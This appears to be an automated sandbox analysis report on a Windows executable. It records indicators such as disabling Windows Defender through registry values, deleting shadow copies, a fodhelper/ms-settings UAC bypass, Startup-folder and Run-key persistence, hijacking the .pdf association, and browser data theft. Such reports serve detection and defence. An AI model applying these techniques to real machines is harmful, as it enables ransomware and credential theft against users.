Analysis
- max time kernel
150s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
13/11/2026, 04:29
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
xoilactvzqb.com_hyber.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
40 signatures
150 seconds
Behavioral task
behavioral2
Sample
xoilactvzqb.com_hyber.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
41 signatures
150 seconds
General
- Target xoilactvzqb.com_hyber.exe
- Size 49KB
- Sample261113-e4qataf18l
- SHA256 badf074bde6aa05e09bf0cec83690fa33cd6bd44711d3bf9a001e78f36f543d6
- MD5 041ed5346211c7772ae541b1790225d8
- SHA1 9078957cdc65e3a23d36223d86c80861704d7341
- SHA512 41d200e2673a41cc0b501fae0a5b41082c0b61141394ed0753601ebb80a6d0ff9fdc112a0151fbf14847543f5bd6ffb300c83cd610e332739f1bb47de0cf5e73
- SSDEEP 384:pFrb51vIFF66z9S0huAozGYKg+9wFfYZ2PLIEcR1gEfTo7NNQQSb7RQH9iUXFdx9:7rVZZ6zs0hZ7wkQqQ/NKPzfX/ffH4/
- TLSH T1F633064977ED4525E2BF4ABE89B291118731F4639C23DB8D1AD8459E09F3700CCA8F6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/4288-1-0x0000000000C70000-0x0000000000C82000-memory.dmp disable_win_def behavioral2/files/0x000900000001c9a1-2252.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" xoilactvzqb.com_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5880 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" xoilactvzqb.com_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts xoilactvzqb.com_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2576 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf xoilactvzqb.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf xoilactvzqb.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf xoilactvzqb.com_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactvzqb.com_hyber.exe" xoilactvzqb.com_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 3400 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe xoilactvzqb.com_hyber.exe File created C:\Windows\system32\sysupdate.exe xoilactvzqb.com_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe xoilactvzqb.com_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 5304 wscript.exe 6044 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" xoilactvzqb.com_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\3711302545.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4852 sc.exe 5612 sc.exe 5028 sc.exe 5728 sc.exe 5500 sc.exe 4428 sc.exe 1792 sc.exe 5428 sc.exe 5300 sc.exe 5888 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1908 cmd.exe 1740 cmd.exe 352 cmd.exe 2600 cmd.exe 4804 cmd.exe 5740 cmd.exe 4888 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain xoilactvzqb.com_hyber.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname xoilactvzqb.com_hyber.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 2416 ipconfig.exe 3928 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1480 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4624 vssadmin.exe 5900 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Control Panel\Desktop\WallpaperStyle = "2" xoilactvzqb.com_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell xoilactvzqb.com_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell xoilactvzqb.com_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell\open xoilactvzqb.com_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactvzqb.com_hyber.exe" xoilactvzqb.com_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell\open\command\DelegateExecute xoilactvzqb.com_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet xoilactvzqb.com_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactvzqb.com_hyber.exe\" \"%1\"" xoilactvzqb.com_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command xoilactvzqb.com_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell\open\command xoilactvzqb.com_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings xoilactvzqb.com_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell\open xoilactvzqb.com_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell\open\command xoilactvzqb.com_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open xoilactvzqb.com_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell xoilactvzqb.com_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings xoilactvzqb.com_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" xoilactvzqb.com_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2260 schtasks.exe 4580 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5880 powershell.exe 5880 powershell.exe 5880 powershell.exe 5880 powershell.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4784 WMIC.exe 4784 WMIC.exe 4784 WMIC.exe 4784 WMIC.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4448 WMIC.exe 4448 WMIC.exe 4448 WMIC.exe 4448 WMIC.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe 4288 xoilactvzqb.com_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2860 LogonUI.exe Token: SeCreatePagefilePrivilege 2860 LogonUI.exe Token: SeDebugPrivilege 4288 xoilactvzqb.com_hyber.exe Token: SeDebugPrivilege 5880 powershell.exe Token: SeIncreaseQuotaPrivilege 5880 powershell.exe Token: SeSecurityPrivilege 5880 powershell.exe Token: SeTakeOwnershipPrivilege 5880 powershell.exe Token: SeLoadDriverPrivilege 5880 powershell.exe Token: SeSystemProfilePrivilege 5880 powershell.exe Token: SeSystemtimePrivilege 5880 powershell.exe Token: SeProfSingleProcessPrivilege 5880 powershell.exe Token: SeIncBasePriorityPrivilege 5880 powershell.exe Token: SeCreatePagefilePrivilege 5880 powershell.exe Token: SeBackupPrivilege 5880 powershell.exe Token: SeRestorePrivilege 5880 powershell.exe Token: SeShutdownPrivilege 5880 powershell.exe Token: SeDebugPrivilege 5880 powershell.exe Token: SeSystemEnvironmentPrivilege 5880 powershell.exe Token: SeRemoteShutdownPrivilege 5880 powershell.exe Token: SeUndockPrivilege 5880 powershell.exe Token: SeManageVolumePrivilege 5880 powershell.exe Token: 33 5880 powershell.exe Token: 34 5880 powershell.exe Token: 35 5880 powershell.exe Token: 36 5880 powershell.exe Token: SeIncBasePriorityPrivilege 4288 xoilactvzqb.com_hyber.exe Token: SeDebugPrivilege 2932 whoami.exe Token: SeDebugPrivilege 3400 tasklist.exe Token: SeDebugPrivilege 3928 NETSTAT.EXE Token: SeIncreaseQuotaPrivilege 5880 powershell.exe Token: SeSecurityPrivilege 5880 powershell.exe Token: SeTakeOwnershipPrivilege 5880 powershell.exe Token: SeLoadDriverPrivilege 5880 powershell.exe Token: SeSystemProfilePrivilege 5880 powershell.exe Token: SeSystemtimePrivilege 5880 powershell.exe Token: SeProfSingleProcessPrivilege 5880 powershell.exe Token: SeIncBasePriorityPrivilege 5880 powershell.exe Token: SeCreatePagefilePrivilege 5880 powershell.exe Token: SeBackupPrivilege 5880 powershell.exe Token: SeRestorePrivilege 5880 powershell.exe Token: SeShutdownPrivilege 5880 powershell.exe Token: SeDebugPrivilege 5880 powershell.exe Token: SeSystemEnvironmentPrivilege 5880 powershell.exe Token: SeRemoteShutdownPrivilege 5880 powershell.exe Token: SeUndockPrivilege 5880 powershell.exe Token: SeManageVolumePrivilege 5880 powershell.exe Token: 33 5880 powershell.exe Token: 34 5880 powershell.exe Token: 35 5880 powershell.exe Token: 36 5880 powershell.exe Token: SeIncreaseQuotaPrivilege 4784 WMIC.exe Token: SeSecurityPrivilege 4784 WMIC.exe Token: SeTakeOwnershipPrivilege 4784 WMIC.exe Token: SeLoadDriverPrivilege 4784 WMIC.exe Token: SeSystemProfilePrivilege 4784 WMIC.exe Token: SeSystemtimePrivilege 4784 WMIC.exe Token: SeProfSingleProcessPrivilege 4784 WMIC.exe Token: SeIncBasePriorityPrivilege 4784 WMIC.exe Token: SeCreatePagefilePrivilege 4784 WMIC.exe Token: SeBackupPrivilege 4784 WMIC.exe Token: SeRestorePrivilege 4784 WMIC.exe Token: SeShutdownPrivilege 4784 WMIC.exe Token: SeDebugPrivilege 4784 WMIC.exe Token: SeSystemEnvironmentPrivilege 4784 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4288 xoilactvzqb.com_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2860 LogonUI.exe 2860 LogonUI.exe 4288 xoilactvzqb.com_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 4288 wrote to memory of 5880 4288 xoilactvzqb.com_hyber.exe 91 PID 4288 wrote to memory of 5888 4288 xoilactvzqb.com_hyber.exe 93 PID 4288 wrote to memory of 4852 4288 xoilactvzqb.com_hyber.exe 95 PID 4288 wrote to memory of 1792 4288 xoilactvzqb.com_hyber.exe 97 PID 4288 wrote to memory of 5612 4288 xoilactvzqb.com_hyber.exe 99 PID 4288 wrote to memory of 5028 4288 xoilactvzqb.com_hyber.exe 101 PID 4288 wrote to memory of 5428 4288 xoilactvzqb.com_hyber.exe 103 PID 4288 wrote to memory of 5728 4288 xoilactvzqb.com_hyber.exe 124 PID 4288 wrote to memory of 5500 4288 xoilactvzqb.com_hyber.exe 107 PID 4288 wrote to memory of 2204 4288 xoilactvzqb.com_hyber.exe 109 PID 2204 wrote to memory of 712 2204 fodhelper.exe 110 PID 4288 wrote to memory of 5304 4288 xoilactvzqb.com_hyber.exe 112 PID 4288 wrote to memory of 2260 4288 xoilactvzqb.com_hyber.exe 113 PID 4288 wrote to memory of 4804 4288 xoilactvzqb.com_hyber.exe 120 PID 4288 wrote to memory of 2600 4288 xoilactvzqb.com_hyber.exe 122 PID 4288 wrote to memory of 352 4288 xoilactvzqb.com_hyber.exe 123 PID 4288 wrote to memory of 1740 4288 xoilactvzqb.com_hyber.exe 125 PID 4288 wrote to memory of 5728 4288 xoilactvzqb.com_hyber.exe 124 PID 4288 wrote to memory of 1908 4288 xoilactvzqb.com_hyber.exe 126 PID 4288 wrote to memory of 4888 4288 xoilactvzqb.com_hyber.exe 127 PID 4288 wrote to memory of 5740 4288 xoilactvzqb.com_hyber.exe 128 PID 4288 wrote to memory of 4580 4288 xoilactvzqb.com_hyber.exe 132 PID 4288 wrote to memory of 6044 4288 xoilactvzqb.com_hyber.exe 137 PID 1740 wrote to memory of 2932 1740 cmd.exe 138 PID 4288 wrote to memory of 4624 4288 xoilactvzqb.com_hyber.exe 139 PID 4288 wrote to memory of 4784 4288 xoilactvzqb.com_hyber.exe 140 PID 4288 wrote to memory of 2212 4288 xoilactvzqb.com_hyber.exe 141 PID 4288 wrote to memory of 2576 4288 xoilactvzqb.com_hyber.exe 142 PID 4288 wrote to memory of 4428 4288 xoilactvzqb.com_hyber.exe 143 PID 4288 wrote to memory of 5300 4288 xoilactvzqb.com_hyber.exe 144 PID 1908 wrote to memory of 4564 1908 cmd.exe 151 PID 5740 wrote to memory of 3928 5740 cmd.exe 152 PID 4888 wrote to memory of 2416 4888 cmd.exe 153 PID 352 wrote to memory of 3400 352 cmd.exe 154 PID 4564 wrote to memory of 5976 4564 net.exe 155 PID 2212 wrote to memory of 696 2212 net.exe 156 PID 2600 wrote to memory of 1480 2600 cmd.exe 157 PID 4804 wrote to memory of 5900 4804 cmd.exe 159 PID 4804 wrote to memory of 4448 4804 cmd.exe 162 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\xoilactvzqb.com_hyber.exe"C:\Users\Admin\AppData\Local\Temp\xoilactvzqb.com_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4288 -
